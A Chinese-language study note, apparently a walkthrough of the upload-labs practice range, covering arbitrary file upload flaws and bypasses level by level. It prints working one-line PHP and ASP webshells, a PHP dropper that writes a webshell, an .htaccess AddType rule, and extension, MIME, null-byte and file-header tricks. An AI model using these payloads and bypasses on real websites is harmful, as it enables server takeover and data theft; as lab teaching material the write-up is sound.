文件上传
一、任意文件上传
概念
任意文件上传漏洞: 由于对上传文件未作过滤或过滤机制不严(文件后缀或类型) ,导致恶意用户可以上传脚本 文件,通过上传文件可达到控制网站权限的目的
危害: 攻击者可获得网站控制权限 查看、修改、删除网站数据 通过提权漏洞可获得主机权限
webshell: 一种网页后门,以asp、 php、jsp等网页文件形式存在的一种命令执行环境 也可以将其称做为一种网页后门。 黑客在入侵了一个网站后,通常会将asp或php后门文件与 网站服务器WEB目录下正常的网页文件混在一起,然后就 可以使用浏览器来访问asp或者php后门,得到一个命令执 行环境,以达到控制网站服务器的目的。
常见文件上传点
大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。
所需条件
1、木马成功上传,未被杀
2、知道木马的路径在哪
3、上传的木马能正常运行
webshell
一句话木马
php:<?php @eval($_POST['密码']); ?>(POST一定要大写)
asp: <%eval request ("pass")%>
可以用蚁剑连接
二、上传绕过(结合upload靶场)
客户端
js检查
pass-01
原理
通过检查页面源代码,发现JS脚本中,文件类型在前端也就是客户端进行了限制,只需要绕过前端的JS校验就可以直接提给后端。
绕过方法
方法一:
首先查看服务器的允许上传类型,将一句话木马后缀改成服务器允许上传的类型
点击上传,用burpsuite抓包后,修改文件后缀名即可
方法二:
直接关闭服务器的JS服务,在浏览器设置中关闭Javascript的设置
服务端
检查后缀
黑名单
上传特殊可解析漏洞
1、MIME绕过(这是白名单,归类错了)
pass-02
上传一句话木马,会提示文件类型不正确,能抓到数据包,不是前端JS验证的问题,是服务端进行校验。
绕过方法一:
上传一张合格的图片文件,抓包 ,记录下其MIME类型,即Content-Type后内容
上传一句话木马,上传抓包,将content-type改为上记录的内容
绕过方法二:
修改一句话木马文件名为合格后缀,之后上传抓包,修改文件后缀
2、黑名单绕过
pass-03
上传图片文件,成功,上传PHP文件报错,尝试改后缀或MIME类型皆报错
后端采用了黑名单机制,只要不在黑名单中的后缀即可绕过
绕过方法:
上传一PHP文件,抓包,对文件后缀名进行爆破(intruder模块)
找出成功的后缀名之后抓包修改即可
上传.htaccess文件
pass-04
首先,.htaccesss攻击具有局限性,黑名单中未过滤.htaccess
apache服务器配置文件httpd.conf中启用了AllowOverride All
服务端未处理文件名,即文件名不改变
首先上传照片成功,上传PHP文件报错,黑名单中限制了绝大部分的后缀文件
上传的文件名未被修改且未对.htaccess文件进行限制
.htaccess:apache服务器配置文件,负责相关网页针对每个目录下的配置,即在一个特定目录下放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。(有点文件包含的意思)
绕过方法:
上传一个.htaccess文件,文件内容为
AddType application/x-httpd-php .jpg
(将上传的文件后缀名为.jpg格式的文件以php格式来解析)
再将一句话木马上传后抓包,经后缀名改为.jpg上传,即可成功
后缀大小写、空格、点、::$DATA绕过
pass-06、pass-07、pass-08、pass-09
上传图片成功,上传PHP文件报错,前面方法都试错后,即可考虑大小写,空格,点,字符串的限制,这里是大小写未过滤
绕过方法(四个的方法一样):
上传PHP文件后抓包,修改后缀名,四个都试试,有的话即可成功上传
大小写:.Php(p,h,p三个字母有大有小即可)
空格:.php空
点:.php.
特殊字符( Win文件流特性绕过):.php::$DATA
采用Windows流特性绕过,在这里意思是php运行在Windows上时如果文件名+"::D A T A " 会 把 : : DATA"会把::DATA"会把::DATA之后的数据当作文件流处理,不会检测后缀名,且保持“::$DATA”之前的文件名,目的即使不检查后缀名
配合解析漏洞
pass-10
这里黑名单严格、删除文件名末尾点、大小写转换为小写、去除::$DATA字符、首尾去空
这里可以利用代码逻辑绕过,这里代码逻辑先删除文件名末尾点,再首尾去空都只进行一次,因此可构造点空格点绕过。利用windows特性
绕过方法:
上传PHP文件,抓包,修改文佳后缀,加上点空格点即可
双写绕过
pass-11
上传照片成功,上传PHP文件,能成功,但后缀被切掉了
根据源码分析,str_ireplace()函数将黑名单中的文件后缀名进行了替换,换为空字符(该函数不区分大小写)
绕过方法:
上传PHP文件,抓包,双写文件后缀,比如.pphhpp
白名单
%00截断GET型绕过
pass-12(条件: php版本 < 5.3.4 ; magic_quotes_gpc=Off)
上传图片成功,上传php文件,失败
查看源码
上传路径可以控制,这里可以使用%00截断
绕过方法:
上传php文件,抓包,该文件后缀为合格后缀,save_path.../upload/后缀改为.php%00,即可成功上传。
00截断POST型绕过
跟GET型类似,都是上传路径可控,且路径即可控位置在POST数据中
绕过方法:
上传你php文件,抓包,在burp的hex 请求数据中,修改php后的字节为00
检查内容
文件头检测
pass-14
上传提示图片马
源码显示制度文件前两个字节,通过对比文件头即可确定文件类型,就是文件头检测
绕过方法:
将一句话木马包含到文件中,上传图片马到目标站点下,通过文件包含漏洞执行php代码
先制作一句话木马
<?php
fputs(fopen("3.php","w"),"<?php @eval(\$_POST['duang']) ?>")
?>
在图片文件最后面加上一句话木马即可,一句话木马隐藏域